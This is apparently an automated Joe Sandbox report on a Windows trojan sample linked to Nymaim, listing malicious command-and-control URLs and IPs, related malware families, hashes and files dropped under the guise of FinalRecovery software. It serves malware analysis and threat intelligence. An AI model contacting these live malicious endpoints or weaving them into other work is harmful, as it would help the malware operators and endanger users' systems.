http://45.12.253.72/default/stuk.phpi	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.phpX	100%	Avira URL Cloud	malware
http://www.innosetup.comDVarFileInfo$	0%	Avira URL Cloud	safe
http://45.12.253.72/default/stuk.phpt	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.phpL	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.phps	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.php4	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.php0	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.php9	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.php8	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.12.253.72/default/stuk.php	true	URL Reputation: safe	unknown
http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixinte	true	URL Reputation: safe	unknown
http://45.12.253.72/default/puk.php	true	URL Reputation: safe	unknown
http://45.12.253.75/dll.php	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.innosetup.com/	is-2H2P0.tmp, is-2H2P0.tmp, 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-2H2P0.tmp.0.dr, is-U3J98.tmp.1.dr	false	URL Reputation: safe	unknown
http://45.12.253.75/dll.phpd	Rec528.exe, 00000002.00000003.367385976.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.373976623.0000000001723000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.imagemagick.org	is-EJ9G4.tmp.1.dr	false		high
https://macrorit.com/free-software.html	is-2H2P0.tmp, 00000001.00000002.445963159.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, Rec528.exe, 00000002.00000000.355680126.0000000001271000.00000002.00000001.01000000.00000007.sdmp, Rec528.exe.1.dr, is-EJ9G4.tmp.1.dr	false		high
http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixintej	Rec528.exe, 00000002.00000002.443117659.000000000165A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.phpi	Rec528.exe, 00000002.00000003.422045948.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.0000000001723000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.phph	Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.php%	Rec528.exe, 00000002.00000003.422045948.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.0000000001723000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.72/del.php	Rec528.exe, 00000002.00000003.373976623.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430360645.0000000001745000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.367385976.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.phpQ	Rec528.exe, 00000002.00000003.415189342.0000000001723000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.finalrecovery.com/buy.htm	is-0I9HC.tmp.1.dr	false	URL Reputation: safe	unknown
http://www.remobjects.com/?ps	1ibwQtrqNy.exe, 00000000.00000003.351264625.00000000021B0000.00000004.00001000.00020000.00000000.sdmp, 1ibwQtrqNy.exe, 00000000.00000003.351368763.0000000001FD8000.00000004.00001000.00020000.00000000.sdmp, is-2H2P0.tmp, is-2H2P0.tmp, 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-2H2P0.tmp.0.dr, is-U3J98.tmp.1.dr	false	URL Reputation: safe	unknown
http://45.12.253.75/dll.phpP	Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.72/default/stuk.phpi	Rec528.exe, 00000002.00000002.443117659.0000000001700000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://macrorit.com/disk-wiper-commercial-license-upgrade.html	is-2H2P0.tmp, 00000001.00000002.445963159.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, Rec528.exe, 00000002.00000000.355680126.0000000001271000.00000002.00000001.01000000.00000007.sdmp, Rec528.exe.1.dr, is-EJ9G4.tmp.1.dr	false		high
http://45.12.253.75/dll.phpX	Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.innosetup.comDVarFileInfo$	1ibwQtrqNy.exe, 00000000.00000003.351264625.00000000021B0000.00000004.00001000.00020000.00000000.sdmp, 1ibwQtrqNy.exe, 00000000.00000003.351368763.0000000001FD8000.00000004.00001000.00020000.00000000.sdmp, is-2H2P0.tmp, 00000001.00000000.351821763.00000000004BC000.00000002.00000001.01000000.00000004.sdmp, is-2H2P0.tmp.0.dr, is-U3J98.tmp.1.dr	false	Avira URL Cloud: safe	low
http://45.12.253.72/default/stuk.phpt	Rec528.exe, 00000002.00000002.443117659.0000000001700000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.phpL	Rec528.exe, 00000002.00000003.395381822.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.0000000001723000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.phpH	Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.12.253.75/dll.phps	Rec528.exe, 00000002.00000003.422045948.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.0000000001723000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.php4	Rec528.exe, 00000002.00000003.395381822.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.0000000001723000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.php0	Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.phpp	Rec528.exe, 00000002.00000003.373976623.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.innosetup.com	1ibwQtrqNy.exe	false	URL Reputation: safe	unknown
http://45.12.253.75/dll.php9	Rec528.exe, 00000002.00000003.373976623.0000000001723000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.php8	Rec528.exe, 00000002.00000002.443117659.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.373976623.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.367385976.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.12.253.75/dll.phpx	Rec528.exe, 00000002.00000003.373976623.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.0000000001723000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.remobjects.com/?psU	1ibwQtrqNy.exe, 00000000.00000003.351264625.00000000021B0000.00000004.00001000.00020000.00000000.sdmp, 1ibwQtrqNy.exe, 00000000.00000003.351368763.0000000001FD8000.00000004.00001000.00020000.00000000.sdmp, is-2H2P0.tmp, 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-2H2P0.tmp.0.dr, is-U3J98.tmp.1.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
45.12.253.72	unknown	Germany	33657	CMCSUS	true
45.12.253.75	unknown	Germany	33657	CMCSUS	true
45.12.253.98	unknown	Germany	33657	CMCSUS	true
45.12.253.56	unknown	Germany	33657	CMCSUS	true

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	877011
Start date and time:	2023-05-28 14:30:06 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	1ibwQtrqNy.exe
Original Sample Name:	65dd3ed482f22906e70dd004a73e5cef.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@12/23@0/4
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 44.2% (good quality ratio 43.2%) Quality average: 85.3% Quality standard deviation: 23.1%
HCA Information:	Successful, ratio: 95% Number of executed functions: 175 Number of non-executed functions: 240
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, conhost.exe
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:31:01	API Interceptor	1x Sleep call for process: IFLIjCfKSqd.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.12.253.72	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	setup.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	buqeW761Vp.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	vgQ8OSMgDl.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	Rk9kDITYV6.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.72/default/puk.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CMCSUS	B6gXqbOxy7.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	YeOWAlKARp.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	B6gXqbOxy7.exe	Get hash	malicious	Nymaim, RedLine, SmokeLoader, Vidar	Browse	45.12.253.56
	7OFuRSVm7T.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	z4vr78mxRN.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	QecTE3JGav.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	w4pmkb2DgP.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	05642199.exe	Get hash	malicious	RedLine	Browse	95.214.24.244
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	JUQxHHX2Co.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	setup.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	AEqsFl1pPK.exe	Get hash	malicious	Lokibot	Browse	171.22.30.147
	By7MGHxIdj.exe	Get hash	malicious	Lokibot	Browse	171.22.30.164
	UmKJ5FdUj3.exe	Get hash	malicious	Lokibot	Browse	171.22.30.147
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	76aANvCL0g.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	qEzTbgmfaM.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	Quotation_Request.js	Get hash	malicious	WSHRAT	Browse	141.98.6.215
	file_resized.exe	Get hash	malicious	Amadey, Fabookie, Nymaim, PrivateLoader, RedLine, SmokeLoader, Stealc	Browse	45.12.253.56
CMCSUS	B6gXqbOxy7.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	YeOWAlKARp.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	B6gXqbOxy7.exe	Get hash	malicious	Nymaim, RedLine, SmokeLoader, Vidar	Browse	45.12.253.56
	7OFuRSVm7T.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	z4vr78mxRN.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	QecTE3JGav.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	w4pmkb2DgP.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	05642199.exe	Get hash	malicious	RedLine	Browse	95.214.24.244
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	JUQxHHX2Co.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	setup.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	AEqsFl1pPK.exe	Get hash	malicious	Lokibot	Browse	171.22.30.147
	By7MGHxIdj.exe	Get hash	malicious	Lokibot	Browse	171.22.30.164
	UmKJ5FdUj3.exe	Get hash	malicious	Lokibot	Browse	171.22.30.147
	file.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	76aANvCL0g.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	qEzTbgmfaM.exe	Get hash	malicious	Nymaim	Browse	45.12.253.56
	Quotation_Request.js	Get hash	malicious	WSHRAT	Browse	141.98.6.215
	file_resized.exe	Get hash	malicious	Amadey, Fabookie, Nymaim, PrivateLoader, RedLine, SmokeLoader, Stealc	Browse	45.12.253.56

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\FLSCover\Rec528\Preview.exe (copy)	file.exe	Get hash	malicious	Nymaim	Browse
	file.exe	Get hash	malicious	Nymaim	Browse
	file.exe	Get hash	malicious	Nymaim	Browse
	file_resized.exe	Get hash	malicious	Amadey, Fabookie, Nymaim, PrivateLoader, RedLine, SmokeLoader, Stealc	Browse
	file.exe	Get hash	malicious	Nymaim	Browse
	file.exe	Get hash	malicious	Nymaim	Browse
	file.exe	Get hash	malicious	Nymaim	Browse
	file.exe	Get hash	malicious	Nymaim	Browse
	SecuriteInfo.com.Variant.Fragtor.194921.4682.25666.exe	Get hash	malicious	Fabookie, Nymaim, PrivateLoader, RedLine, SmokeLoader	Browse
	I29BFKK5k3.exe	Get hash	malicious	Unknown	Browse
	setup.exe	Get hash	malicious	Nymaim	Browse
	Setup.exe	Get hash	malicious	Fabookie, Nymaim, PrivateLoader, RedLine, SmokeLoader	Browse
	Install.exe	Get hash	malicious	Fabookie, Nymaim, PrivateLoader, RedLine, SmokeLoader	Browse
	Install.exe	Get hash	malicious	Fabookie, Nymaim, PrivateLoader, RedLine, SmokeLoader	Browse
	oZIDuC0SMY.exe	Get hash	malicious	Fabookie, Nymaim, PrivateLoader, RedLine	Browse
	file.exe	Get hash	malicious	Nymaim	Browse
	file.exe	Get hash	malicious	Nymaim	Browse
	buqeW761Vp.exe	Get hash	malicious	Nymaim	Browse
	file.exe	Get hash	malicious	MinerDownloader, RedLine, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Nymaim	Browse

Created / dropped Files

C:\Program Files (x86)\FLSCover\Rec528\Preview.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	791040
Entropy (8bit):	6.608982798504157
Encrypted:	false
SSDEEP:	24576:pvfBdvyjNf8cbMtMJjLKRfwaNSkxtkNkYzSYcj0oHyxdpVhNZFGv+56nBb/ExWyt:pBC4rTQnC1QaX4+I
MD5:	5C2FE7D4DDE65810152054F3C93C1815
SHA1:	2A19F3FAA78A5072068F7902DB19A248F11FA69B
SHA-256:	233D846FEB73A38141BDF6C813C7476FA3F66DCD3548338607F3B7CB61CAC730
SHA-512:	2C01AE918044829FC649F0775BF3FFDB417B1524B47CDABFF0C06B6382B6578A742D9C1D036090D7AD1FC3A8B7D563D28C0CDB94DE572BF883389825F73FD654
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file_resized.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Variant.Fragtor.194921.4682.25666.exe, Detection: malicious, Browse Filename: I29BFKK5k3.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Install.exe, Detection: malicious, Browse Filename: Install.exe, Detection: malicious, Browse Filename: oZIDuC0SMY.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: buqeW761Vp.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................\|......$.............@..............................................@...........................@...,...0..............................................................................DH...............................text...D{.......\|.................. ..`.itext..l........................... ..`.data...l8.......:..................@....bss.....C...............................idata...,...@......................@....tls....4....p...........................rdata..............................@..@.reloc..............................@..B.rsrc........0......................@..@....................................@..@................................................................................................

C:\Program Files (x86)\FLSCover\Rec528\Readme.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1949
Entropy (8bit):	4.915453283427292
Encrypted:	false
SSDEEP:	48:Sik3C0nGTAFE3blB/aMO0Mk2fLXVn7K+eq9hb6Suf:pkvGTAFELlB/A4GXVnWU9BNuf
MD5:	C0AE85DB30FE9027DBBF3BA758FA78BE
SHA1:	95E69DB95504A9F61D090690F32FB5D2F685C604
SHA-256:	CF63BBFD735C18757AC2AA6CB8A14C82745B6158F9FD299BD189D9CA3E7A2DE7
SHA-512:	DA53177074E79F96C1C7E477E0E7B63CD1D2B836DB9E8066F20B60897FC5770D2B16594A84A953A9CD56BD4C0DDB7D5EFBDDF881EEA840D6B106552C5AC6815E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.. F i n a l R e c o v e r y v3.0.7.0325....Overview ..========....FinalRecovery is a powerful and easy-to-use file recovery software. It is suitable ..for various data recovery situations. Some of those situations are listed below. ....1 Recover accidentally deleted files (files were deleted by using windows explorer, .. command line, other software utilities; files which lost while empting recycle .. bin; file losses which caused by unknown reasons); ..2 Recover files from accidentally formatted disk volume; ..3 Recover files from lost partitions (the cases may be partition deletion, disk .. repartitioning, partition losses which caused by virus or other reasons) or .. corruptted partitions; ..4 Recover files from drive image files; ..5 Predict drive failures (doesn't support SCSI hard drives, removable hard drives). ....FinalRecovery supports FAT12, FAT16, FAT32, NTFS, NTFS5 and Raw file system. It can ..recover files from hard disks, floppies, U disks, PCMCIA-

C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2491753
Entropy (8bit):	6.2535337137307625
Encrypted:	false
SSDEEP:	24576:TzyEzyqd/zyCzytzy3ozyikzy3DKzyH1cuu7hhyGW1G4dPApP8Xv+MysNKt19crT:PTIxvnu7byGx4Ff+MyOe19UuRDy
MD5:	9D3532E4DB1BBBCCA78E0D2DC8AE2572
SHA1:	E6F4EE6D2AEF36909CA0330BA03798AB76493CA8
SHA-256:	A9BAEFA9E8C28E5E028E19691EF04E5C85E94F0F81B4CF6844A9C63D9A22F3A1
SHA-512:	21B6265DF422B7F61D2FF8E5F87AFEBD4B0642806A3E88F50B39211AD4315349137C7CC2AD2441CE870CE09CF1A1790043C668BFF564C90C01775C04981ECBA7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0,sd..........B...............................@.........................................................................\............\..................................................8...........................$............................text............................... ..`.rdata..z!.......0..................@..@.data...@...........................@....tls................................@....rsrc....`.......`..................@..@.fls528......p..i....p..............`...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\FLSCover\Rec528\data\Config.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	XML 1.0 document, ASCII text, with very long lines (5978), with CRLF line terminators
Category:	dropped
Size (bytes):	6452
Entropy (8bit):	4.734154041089812
Encrypted:	false
SSDEEP:	96:EonMpdbxw/+9MjLKJ9+LsxS/wV2iderMRyLjQ1WsL+9w/SxEDz8bONAPujBUTjkv:E7nb
MD5:	247D3A0C3B0C53CA33D032A561619495
SHA1:	F30570C48749FE427FACCBDF925048B149D22460
SHA-256:	783AC8FBA1DD88291A4F331EC2459DDE4005CF70FAFB4F19F9061713FFD580EB
SHA-512:	9D18FDC8A32C86A0F8C2BB408A33A71645632289CA0D684B58B98862AA1A67E75258D39C621F4E647753A1480D50444756D125C273B16323A757270CD94B7BBD
Malicious:	false
